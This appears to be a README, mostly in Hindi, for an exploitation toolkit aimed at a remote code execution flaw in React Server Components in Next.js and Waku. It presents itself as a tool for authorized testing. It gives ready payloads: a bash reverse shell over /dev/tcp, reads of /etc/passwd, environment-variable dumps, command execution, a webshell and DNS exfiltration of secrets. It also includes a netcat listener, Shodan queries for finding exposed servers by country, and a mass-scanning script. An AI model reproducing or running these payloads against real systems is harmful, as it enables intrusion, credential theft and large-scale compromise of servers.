
उन्नत RCE शोषण टूलकिट जो React Server Components कमजोरियों के लिए है। इसमें कई पूर्व-निर्मित पेलोड, लक्ष्य खोज के लिए Shodan एकीकरण, और अधिकृत पैठ परीक्षण के लिए बड़े पैमाने पर स्कैनिंग की सुविधाएँ शामिल हैं।
React सर्वर कंपोनेंट्स रिमोट कोड निष्पादन भेद्यताओं के लिए उन्नत एक्सप्लॉइटेशन टूलकिट
केवल अधिकृत पेनेट्रेशन टेस्टिंग और सुरक्षा अनुसंधान के लिए
विशेषताएँ • स्थापना • उपयोग • Shodan एकीकरण • उदाहरण • अस्वीकरण
यह टूलकिट React सर्वर कंपोनेंट्स (RSC) कार्यान्वयनों में एक गंभीर रिमोट कोड निष्पादन (RCE) भेद्यता का शोषण करता है, विशेष रूप से लक्षित करते हुए:
यह भेद्यता सर्वर पर मनमाना कोड निष्पादन प्राप्त करने के लिए RSC के डेटा हैंडलिंग तंत्र में प्रोटोटाइप प्रदूषण और असुरक्षित डी-सीरियलाइज़ेशन का लाभ उठाती है।
React सर्वर कंपोनेंट्स क्लाइंट और सर्वर के बीच डेटा स्थानांतरित करने के लिए एक कस्टम सीरियलाइज़ेशन प्रारूप का उपयोग करते हैं। यह भेद्यता इन फ्रेमवर्क्स द्वारा विशेष रूप से तैयार किए गए पेलोड को डी-सीरियलाइज़ और प्रोसेस करने के तरीके में मौजूद है।
आक्रमण श्रृंखला:
$X:constructor:constructor का दुरुपयोग करें_prefix फ़ील्ड में मनमाना JavaScript इंजेक्ट करेंAttacker → Malicious RSC Payload → Target Server
↓
Unsafe Deserialization
↓
Prototype Chain Access
↓
Function Constructor
↓
⚠️ RCE ACHIEVED ⚠️
| पेलोड | विवरण | उपयोग केस |
|---|---|---|
console | बुनियादी PoC (console.log) | भेद्यता सत्यापित करें |
reverseShell | Bash रिवर्स शेल | प्रारंभिक अभिगम |
readFile | /etc/passwd पढ़ें | फाइलसिस्टम अभिगम |
envDump | पर्यावरण चर डंप करें | क्रेडेंशियल निष्कर्षण |
execCommand | सिस्टम कमांड निष्पादित करें | मनमाना कमांड निष्पादन |
webshell | Express वेबशेल तैनात करें | स्थायी अभिगम |
exfilPackage | package.json एक्सफिल्ट्रेट करें | डिपेंडेंसी विश्लेषण |
dnsExfil | DNS एक्सफिल्ट्रेशन (OOB) | ब्लाइंड एक्सप्लॉइटेशन |
git clone https://github.com/yourusername/rsc-rce-exploit.git
cd rsc-rce-exploit
npm install
# or
yarn install
# Install Shodan CLI
pip install shodan
# Initialize with your API key
shodan init YOUR_API_KEY
node rsc-rce-exploit.js --target http://vulnerable-target.com --payload console
# Start listener
nc -lvnp 4444
# Execute exploit
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload reverseShell \
--lhost 10.10.14.5 \
--lport 4444
node rsc-rce-exploit.js \
--target http://vulnerable-target.com \
--payload execCommand \
--command "whoami"
node rsc-rce-exploit.js [options]
| विकल्प | विवरण | आवश्यक |
|---|---|---|
--target <url> | लक्ष्य URL | ✅ |
--framework <name> | फ्रेमवर्क: next या waku | ❌ (डिफ़ॉल्ट: next) |
--payload <name> | पेलोड नाम (नीचे देखें) | ✅* |
--custom <code> | कस्टम JavaScript कोड | ✅* |
--lhost <ip> | आपका IP (रिवर्स शेल के लिए) | ❌ |
--lport <port> | आपका पोर्ट (रिवर्स शेल के लिए) | ❌ |
--command <cmd> | निष्पादित करने हेतु कमांड | ❌ |
--endpoint <path> | कस्टम RSC एंडपॉइंट (Waku) | ❌ |
--action-id <id> | कस्टम next-action ID | ❌ |
--list | उपलब्ध पेलोड सूचीबद्ध करें | ❌ |
--verbose | विस्तृत आउटपुट | ❌ |
--help | सहायता दिखाएँ | ❌ |
*--payload या --custom में से कोई एक आवश्यक है
सभी पेलोड देखें:
node rsc-rce-exploit.js --list
आउटपुट:
📋 Available payloads:
console - Basic PoC - Console output
Code: console.log(7*7+1)
reverseShell - Reverse shell (bash)
Code: require('child_process').exec('bash -c "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"')
readFile - Read /etc/passwd
Code: console.log(require('fs').readFileSync('/etc/passwd','utf8'))
envDump - Dump environment variables
Code: console.log(JSON.stringify(process.env,null,2))
execCommand - Execute system command
Code: console.log(require('child_process').execSync('COMMAND').toString())
webshell - Write webshell to /tmp
Code: require('fs').writeFileSync('/tmp/shell.js','...')
exfilPackage - Read package.json
Code: console.log(require('fs').readFileSync('./package.json','utf8'))
dnsExfil - DNS exfiltration
Code: require('dns').resolve4(Buffer.from(process.env.SECRET||'nosecret')...)
कोई भी JavaScript कोड निष्पादित करें:
node rsc-rce-exploit.js \
--target http://target.com \
--custom "require('fs').readdirSync('.').forEach(f=>console.log(f))"
# Basic Next.js
http.component:"Next.js"
# Next.js with RSC
http.html:"__next" http.html:"RSC"
# Next.js dev mode (more vulnerable)
http.html:"__NEXT_DATA__" http.html:"development"
# Self-hosted Next.js (not on Vercel)
http.component:"Next.js" -org:"Vercel"
# Geographically targeted (France)
http.component:"Next.js" country:FR
# Ultimate combo for pentesting
http.component:"Next.js" http.status:200 country:FR -org:"Vercel" port:3000,8080
# Waku framework
http.html:"waku" http.html:"RSC"
# Waku RSC endpoints
http.path:"/RSC/"
प्रदान की गई स्वचालन स्क्रिप्ट का उपयोग करें:
# Scan and test automatically
./shodan-scanner.sh "http.component:\"Next.js\" country:FR" 100